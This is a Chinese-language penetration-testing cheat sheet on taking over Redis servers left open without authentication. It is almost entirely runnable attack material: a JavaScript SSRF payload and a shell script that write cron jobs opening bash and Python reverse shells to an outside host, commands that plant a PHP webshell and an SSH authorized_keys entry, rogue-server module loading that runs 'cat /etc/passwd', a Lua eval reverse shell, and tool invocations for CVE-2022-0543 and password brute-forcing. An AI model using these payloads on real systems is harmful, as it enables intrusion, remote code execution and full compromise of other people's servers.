WEB渗透未授权访问篇-Redis

测试

redis-cli

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redis-cli -h 127.0.0.1 flunshall

192.168.0.110:6379>ping PONG 存在未授权访问

JS打内网

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var cmd = new XMLHttpRequest();      
cmd.open("POST", "http://127.0.0.1:6379");      
cmd.send('flushall\r\n');             
var cmd =new XMLHttpRequest();      
cmd.open("POST", "http://127.0.0.1:6379");      
cmd.send('eval \'' + 'redis.call(\"set\",\"1\",\"\\n\\n*/1 * * * * /bin/bash -i >&/dev/tcp/外网IP/5566 0>&1\\n\\n");redis.call(\"config\", \"set\", \"dir\",\"/var/spool/cron/\"); redis.call(\"config\",\"set\", \"dbfilename\", \"root\");' + '\' 0' +"\r\n");       
var cmd =new XMLHttpRequest();      
cmd.open("POST", "http://127.0.0.1:6379");       
cmd.send('save\r\n');

反弹shell

保存为sh

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echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.0.108/12138 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
echo -e "\n\n */1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.108",12138));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

执行

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bash 1.sh 192.168.0.120 6379

写shell

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6379> config set dir /var/www/html/
6379> config set dbfilename shell.php
6379> set x "<?php phpinfo();?>"
6379> save

SSH

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ssh-keygen
本地生成一对密钥
https://github.com/JoyChou93/hackredis
>ssh-keygen -t rsa -C "xx@xx.com"
>(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > qq.txt
>redis-cli -h 127.0.0.1 flunshall
>cat qq.txt | redis-cli -h 127.0.0.1 -x set crackit
>redis-cli -h 127.0.0.1
6379> config set dir /root/.ssh/
6379> config set dbfilename "authorized_keys"
6379> save
本地登录
#ssh -i id_rsa root@11.11.11.11

redis-rogue-getshell

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https://github.com/vulhub/redis-rogue-getshell
需要python3.0以上
编译
>cd RedisModulesSDK/
>make
会在此目录下生成exp.so
执行命令
>python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd"

redis-rogue-server

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https://github.com/n0b0dyCN/redis-rogue-server
需要python3.6以上
编译
>cd RedisModulesSDK/exp
>make
执行
>./redis-rogue-server.py --rhost 192.168.0.120 --lhost 192.168.0.108

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也可以反向shell

redis在windows下的利用

Web目录写入木马启动项系统DLL劫持(目标重启或注销) 特定软件的DLL劫持覆盖快捷方式覆盖配置文件覆盖sethc等文件

https://github.com/r35tart/RedisWriteFile

python3 rediswritefile.py --rhost=目标IP --rport=6379 --lhost=本机IP --lport=本地端口 --rpath="在目标保存的路径" --rfile="在目标保存的文件" --lfile="本地文件" --auth=redis密码

Lua RCE

https://github.com/QAX-A-Team/redis_lua_exploit 修改redis_lua.py里的 host 为目标 IP 执行返回正常，反弹shell

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eval "tonumber('/bin/bash -i >& /dev/tcp/192.168.0.108/12345 0>&1', 8)" 0

Redis漏洞利用工具

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https://github.com/yuyan-sec/RedisEXP
windows
>RedisExp.exe -rhost 192.168.211.128 -lhost 192.168.211.1 -exec -c whoami
>RedisExp.exe -rhost 192.168.211.128 -lhost 192.168.211.1 -exec -console
linux平台
>RedisExp.exe -rhost 192.168.211.130 -lhost 192.168.211.1 -so exp.so -exec -c whoami
>RedisExp.exe -rhost 192.168.211.130 -lhost 192.168.211.1 -so exp.so -exec -console
文件上传
>RedisExp.exe -rhost 192.168.211.128 -lhost 192.168.211.1 -upload -rfile 1.txt -lfile 2.txt
写shell
>RedisExp.exe -rhost 192.168.211.128 -shell
Lua沙盒绕过命令执行 CVE-2022-0543
>RedisExp.exe -rhost 192.168.211.130 -lua -console
爆破redis密码
>RedisExp.exe -r 192.168.211.128 -brute -pwdf ../pass.txt